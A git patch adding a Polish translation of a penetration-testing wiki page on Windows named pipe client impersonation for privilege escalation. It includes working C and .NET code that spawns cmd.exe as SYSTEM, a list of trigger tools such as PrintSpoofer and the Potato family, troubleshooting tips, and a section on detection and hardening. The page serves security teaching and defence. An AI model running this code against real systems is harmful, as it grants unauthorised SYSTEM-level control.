From 5184ce721abfadc7509e8fbaebd1444a49da529f Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 29 Aug 2025 00:26:18 +0000 Subject: [PATCH] Translated ['src/windows-hardening/windows-local-privilege-escalation/na --- .../named-pipe-client-impersonation.md | 131 +++++++++++++++++- 1 file changed, 130 insertions(+), 1 deletion(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 574b24821..a2eab1f74 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -2,6 +2,135 @@ {{#include ../../banners/hacktricks-training.md}} -Sprawdź: [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) +Named Pipe client impersonation to prymityw lokalnego eskalowania uprawnień, który pozwala wątkowi serwera named-pipe przyjąć kontekst zabezpieczeń klienta, który się z nim łączy. W praktyce atakujący, który może uruchamiać kod z uprawnieniami SeImpersonatePrivilege, może wymusić, aby uprzywilejowany klient (np. usługa SYSTEM) połączył się z pipe kontrolowaną przez atakującego, wywołać ImpersonateNamedPipeClient, zdublować powstały token do tokena głównego i uruchomić proces jako ten klient (często NT AUTHORITY\SYSTEM). + +Ta strona koncentruje się na podstawowej technice. Dla end-to-end łańcuchów exploitów, które wymuszają, aby SYSTEM połączył się z twoją pipe, zobacz strony z rodziny Potato wymienione poniżej. + +## TL;DR +- Utwórz named pipe: \\.\pipe\ i oczekuj na połączenie. +- Spowoduj, aby uprzywilejowany komponent połączył się z nim (spooler/DCOM/EFSRPC/etc.). +- Odczytaj przynajmniej jedną wiadomość z pipe, następnie wywołaj ImpersonateNamedPipeClient. +- Otwórz token impersonacji w bieżącym wątku, DuplicateTokenEx(TokenPrimary) i użyj CreateProcessWithTokenW/CreateProcessAsUser, aby uruchomić proces jako SYSTEM. + +## Wymagania i kluczowe API +- Uprawnienia zazwyczaj potrzebne procesowi/wątkowi wywołującemu: +- SeImpersonatePrivilege — do skutecznego podszycia się pod klienta łączącego się oraz do użycia CreateProcessWithTokenW. +- Alternatywnie, po podszyciu się pod SYSTEM możesz użyć CreateProcessAsUser, co może wymagać SeAssignPrimaryTokenPrivilege i SeIncreaseQuotaPrivilege (te uprawnienia są spełnione, gdy podszywasz się pod SYSTEM). +- Podstawowe API używane: +- CreateNamedPipe / ConnectNamedPipe +- ReadFile/WriteFile (należy odczytać co najmniej jedną wiadomość przed podszyciem) +- ImpersonateNamedPipeClient i RevertToSelf +- OpenThreadToken, DuplicateTokenEx(TokenPrimary) +- CreateProcessWithTokenW lub CreateProcessAsUser +- Poziom podszycia: aby wykonywać użyteczne akcje lokalnie, klient musi zezwolić na SecurityImpersonation (domyślnie dla wielu lokalnych klientów RPC/named-pipe). Klienci mogą obniżyć to ustawienie, używając SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION przy otwieraniu pipe. + +## Minimalny przepływ pracy Win32 (C) +```c +// Minimal skeleton (no error handling hardening for brevity) +#include +#include + +int main(void) { +LPCSTR pipe = "\\\\.\\pipe\\evil"; +HANDLE hPipe = CreateNamedPipeA( +pipe, +PIPE_ACCESS_DUPLEX, +PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, +1, 0, 0, 0, NULL); + +if (hPipe == INVALID_HANDLE_VALUE) return 1; + +// Wait for privileged client to connect (see Triggers section) +if (!ConnectNamedPipe(hPipe, NULL)) return 2; + +// Read at least one message before impersonation +char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL); + +// Impersonate the last message sender +if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368 + +// Extract and duplicate the impersonation token into a primary token +HANDLE impTok = NULL, priTok = NULL; +if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4; +if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5; + +// Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege. +STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0}; +if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY, +L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, +0, NULL, NULL, &si, &pi)) { +// Fallback: CreateProcessAsUser after you already impersonated SYSTEM +CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, +NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); +} + +RevertToSelf(); // Restore original context +return 0; +} +``` +Notes: +- Jeśli ImpersonateNamedPipeClient zwraca ERROR_CANNOT_IMPERSONATE (1368), upewnij się, że najpierw odczytujesz z pipe'a i że klient nie ograniczył impersonacji do Identification level. +- Preferuj DuplicateTokenEx z SecurityImpersonation i TokenPrimary, aby utworzyć token główny odpowiedni do tworzenia procesu. + +## .NET quick example +W .NET, NamedPipeServerStream może dokonać impersonacji za pomocą RunAsClient. Po impersonacji zduplikuj token wątku i utwórz proces. +```csharp +using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; +class P { +[DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h); +[DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p); +[DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi); +static void Main(){ +using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1); +s.WaitForConnection(); +// Ensure client sent something so the token is available +s.RunAsClient(() => { +IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS +IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary +var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe"); +Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi); +}); +} +} +``` +## Typowe wyzwalacze/przymuszenia, by uzyskać podłączenie SYSTEM do twojej pipe +Te techniki zmuszają uprzywilejowane usługi do połączenia się z twoją named pipe, abyś mógł je impersonate: +- Print Spooler RPC trigger (PrintSpoofer) +- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) +- EFSRPC pipes (EfsPotato/SharpEfsPotato) + +See detailed usage and compatibility here: + +- +{{#ref}} +roguepotato-and-printspoofer.md +{{#endref}} +- +{{#ref}} +juicypotato.md +{{#endref}} + +If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see: + +- +{{#ref}} +from-high-integrity-to-system-with-name-pipes.md +{{#endref}} + +## Rozwiązywanie problemów i uwagi praktyczne +- Musisz odczytać co najmniej jedną wiadomość z pipe przed wywołaniem ImpersonateNamedPipeClient; w przeciwnym razie otrzymasz ERROR_CANNOT_IMPERSONATE (1368). +- Jeśli klient łączy się z SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, serwer nie może w pełni impersonate; sprawdź poziom impersonacji tokena przez GetTokenInformation(TokenImpersonationLevel). +- CreateProcessWithTokenW wymaga SeImpersonatePrivilege u wywołującego. Jeśli to zakończy się ERROR_PRIVILEGE_NOT_HELD (1314), użyj CreateProcessAsUser po tym, jak już zaimpersonowałeś SYSTEM. +- Upewnij się, że security descriptor twojej pipe pozwala docelowemu serwisowi na połączenie, jeśli ją zaostrzyłeś; domyślnie pipe pod \\.\pipe są dostępne zgodnie z DACL serwera. + +## Wykrywanie i zabezpieczanie +- Monitoruj tworzenie i połączenia named pipe. Sysmon Event IDs 17 (Pipe Created) i 18 (Pipe Connected) są przydatne do wyznaczenia bazy legalnych nazw pipe i wykrywania nietypowych, losowo wyglądających pipe poprzedzających zdarzenia manipulacji tokenami. +- Szukaj sekwencji: proces tworzy pipe, usługa SYSTEM się łączy, a następnie proces tworzący uruchamia proces potomny jako SYSTEM. +- Zmniejsz ekspozycję, usuwając SeImpersonatePrivilege z nieistotnych kont usług i unikając niepotrzebnych logowań usług z wysokimi uprawnieniami. +- Defensive development: przy łączeniu się z nieufnymi named pipes określ SECURITY_SQOS_PRESENT z SECURITY_IDENTIFICATION, aby zapobiec pełnej impersonacji klienta przez serwer, chyba że jest to konieczne. + +## References +- Windows: ImpersonateNamedPipeClient documentation (wymagania i zachowanie dotyczące impersonacji). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient +- ired.team: Windows named pipes privilege escalation (przewodnik i przykłady kodu). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation {{#include ../../banners/hacktricks-training.md}}